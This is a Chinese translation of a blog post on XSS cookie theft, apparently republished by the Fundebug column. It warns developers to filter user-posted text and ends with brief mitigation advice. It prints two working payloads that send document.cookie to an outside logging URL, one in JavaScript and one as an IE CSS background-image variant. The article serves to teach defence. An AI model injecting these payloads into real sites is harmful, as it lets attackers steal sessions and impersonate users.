专栏名称: Fundebug
Fundebug为JavaScript、微信小程序及Node.js开发团队提供专业的线上代码bug监控和智能分析服务。
目录
相关文章推荐
歸藏的AI工具箱  ·  终于有给设计师用的 Cursor 了 ·  昨天  
歸藏的AI工具箱  ·  终于有给设计师用的 Cursor 了 ·  昨天  
前端大全  ·  前端行情变了,差别真的挺大。。。 ·  2 天前  
前端早读课  ·  【开源】TinyEngine开启新篇章,服务 ... ·  2 天前  
前端大全  ·  真的建议所有前端立即拿下软考(红利期) ·  5 天前  
51好读  ›  专栏  ›  Fundebug

XSS攻击之窃取Cookie

Fundebug  · 公众号  · 前端  · 2019-04-22 10:25

正文

10 年前的博客似乎有点老了,但是 XSS 攻击 的威胁依然还在,我们不得不防。

  • 原文: XSS - Stealing Cookies 101

  • 译者: Fundebug

本文采用意译,版权归原作者所有

窃取 Cookie 是非常简单的,因此不要轻易相信客户端所声明的身份。 即便这个 Cookie 是在数秒之前验证过,那也未必是真的,尤其当你仅使用 Cookie 验证客户端的时候。

2006 年 1 月, LiveJournal 遭到了 XSS 攻击 ,这个事件足以警示我们。 还有,2006 年 10 月, MySapce 也遭到了 XSS 攻击,这告诉我们必须非常谨慎地过滤用户发布的文本,因为黑客可以在文本中掺杂一些 JavaScript 代码,以此窃取登陆用户的 Cookie

正如黑客攻击 LiveJournal 那样,你不需要在登陆用户的浏览器进行任何操作,而可以在第三方进行所有操作。 更糟糕的是,窃取 Cookie 事实上 操作起来非常简单 ,但是 防范起来却非常困难

下面的的 JavaScript 代码就可以窃取 Cookie ,是不是很简单?


new Image().src =
"http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);

如果我可以将这段代码插入到某个登陆用户的页面,则 Cookie 就会通过 HTTP 请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在 IE 浏览器上,可以通过在 CSS 代码中执行 JavaScript 来窃取 Cookie ,也很简单。


.getcookies{
background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}


如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取 Cookie 是不是很可怕? 如果你是一个负责任的开发者的话,你就应该保持警惕! 因此,你必须假设所有用户的 Cookie 都被窃取了。 注意,是 所有用户 ,对于这一点,我不想含糊其辞。

为了保证安全: 请不停地重设 session 的重设; 将过期时间设置短一些; 监控 referrer







请到「今天看啥」查看全文